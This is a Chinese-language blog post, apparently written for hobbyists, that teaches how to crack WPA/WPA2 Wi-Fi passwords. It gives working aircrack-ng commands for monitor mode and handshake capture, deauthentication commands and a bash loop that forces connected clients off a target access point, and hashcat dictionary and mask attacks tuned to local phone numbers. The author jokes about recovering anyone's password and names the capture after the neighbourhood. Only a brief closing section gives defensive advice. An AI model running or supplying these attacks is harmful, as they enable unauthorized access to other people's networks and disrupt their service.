剛好有人問, 簡單講講

準備工作

破解wifi密碼, 可以很簡單, 也可以很難.

基本上要幹這事, 要有幾個基本準備, 硬體上呢, 你需要的就只有一個.

可以進monitor mode的wifi

而軟體的部分, 這幾年的軟體在用戶體驗上做的越來越好, 所以幾年前很複雜的東西, 現在變得很簡單.

這邊只有講到linux, windows對我來說實在太硬, 就不多說.

硬體

首先你可以google "aircrack wifi adapter", 或是直接看aircrack官網說明.

硬體不貴, 1K NTD以下一定有機會. 但是裝driver很容易花掉你的大把時間, 建議可以看看網路上現成的case.

軟體

當機器裝好, 假設wifi是wlan0, 可以用下面的方式打開monitor mode.

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up

或是

airmon-ng start wlan0

然後就是利用airdump-ng去觀察整個wifi的環境

airodump-ng wlan0

# 另外也可以透過下面的指令改channel
ch=2
iwconfig wlan0 channel $ch

# 這是一個比較複雜的指令, 詳細可以看看airodump-ng的help
airodump-ng wlan0 --manufacturer --wps --showack --uptime -a --ignore-negative-one
airodump-ng wlan0 --manufacturer --wps --showack --uptime -a --ignore-negative-one --ht20
airodump-ng wlan0 --manufacturer --wps --showack --uptime -a --bssid FF:FF:FF:FF:FF:FF

這時候應該會看到上面一份列表, 下面一份列表. 上面是指你的機器看的到的, 下面是指現在有連線的狀況.

接下來就是要利用aireplay-ng去錄製加密的密碼, 一般來說, 有現成連線的比較好抓到, 所以一般來說會先選定下面那個表有的來錄製.

對了, 這邊只討論 WPA/WPA2

錄製的過程會使用aireplay-ng --deauth幫助已經連線的機器斷線(送假訊號給該wifi AP), 這樣會比較好抓到密碼.

# 錄製加密的密碼的指令
tb=目標AP的SSID
airodump-ng --bssid $tb --channel $ch --write data wlan0

# 幫忙斷線的指令(另一個console)
c=連到那台AP的device SSID
aireplay-ng -0 2 -a $tb -c $c wlan0

# 幫送斷線資訊的指令(另一個console)
aireplay-ng --deauth 100 -a $tb wlan0

下面是自己寫的bash

input="macs"
aireplay-ng --deauth 10 -a $tb wlan0
while IFS= read -r line
do
  aireplay-ng -0 2 -a $tb -c "$line" wlan0
done < "$input"
aireplay-ng --deauth 10 -a $tb wlan0

然後接下來看到airodump-ng右上角跳出來WPA handshake: FF:FF:FF:FF:FF:FF就可以按Ctrl+C, 這時應該應就會有個data-01.cap之類的檔案在你的目錄中了.

這個就是已經加密的檔案, 接下來才是我覺得好玩的地方. 一般來說的教學都是教你用aircrack-ng去破解密碼. 但是根據個人經驗, 這個只能針對那種兩光的密碼.

解密

建議先用hashcat-utilscap檔案轉成hccapx.

./hashcat-utils/src/cap2hccapx.bin ./data-01.cap ./my_neighborhood_01.hccapx

然後用hashcat去解. 這玩意支援GPU, 也支援windows, 用powershell就可以跑. 所以打遊戲的機器真的是作用很大的! 一定要買台能跑3A大作的PC, 不但可以娛樂, 還可以找回密碼, 不管是誰的密碼.

對, hashcat適用在各種回復密碼的, zip, pdf....

找密碼有幾個方式, 用字典檔, 湊字, 暴力, 字典加遮罩. 可以參考core attack modes

我自己起手式是都用字典跟暴力, 下面的指令可以參考看看.

# 跑字典
.\hashcat64.exe -m 2500 -a3 .\test.hccapx .\rockyou.txt

# 跑家用電話, 區碼跟第一碼自己換, 這邊是台北的
.\hashcat64.exe -m 2500 -a3 .\test.hccapx 022?d?d?d?d?d?d?d

# 跑手機
.\hashcat64.exe -m 2500 -a3 .\test.hccapx 09?d?d?d?d?d?d?d?d

# 跑八個數字, 這個是linux版
./hashcat -m 2500 -a3 test.hccapx ?d?d?d?d?d?d?d?d

# 跑前四個文字後四個數字
.\hashcat64.exe -m 2500 -a 3 .\test.hccapx ?l?l?l?l?d?d?d?d

# 跑前8個文字
.\hashcat64.exe -m 2500 -a 3 .\test.hccapx ?l?l?l?l?l?l?l?l

說起來暴力法不太可取, 我有跑過16個字的, hashcat跟我說我的1060要跑到Next Big Bang...按...

上面那一串跑下來不到半小時, 跑不出來的我就不跑了.

沒錯, hashcat會告訴你要跑多久, 也會讓你的顯卡不過熱! 真是好棒棒的用戶體驗!

結論

沒錯, 密碼就是要長, 過了12碼基本上對手就要花點心思了. 不過千萬不要在github搜尋的到的字典檔裡面!

我通常是會跑六七個字典, 大概3G, 用hashcat很快.

所以如果想要做慈善wifi, 建議找可以設置多SSID, 也可以限定頻寬, 隔離網路的router來用. 是的, 這玩意很普遍, 但是很多人不知道, 幫QQ.

另外還有個東西可以分享, 這邊是python的版本, 可以弄個QR code讓大家不用輸入wifi密碼, 這樣設很長的密碼就不會搞得老人家輸入錯誤太多次, 然後爆怒摔手機的狀況了.



Comments

comments powered by Disqus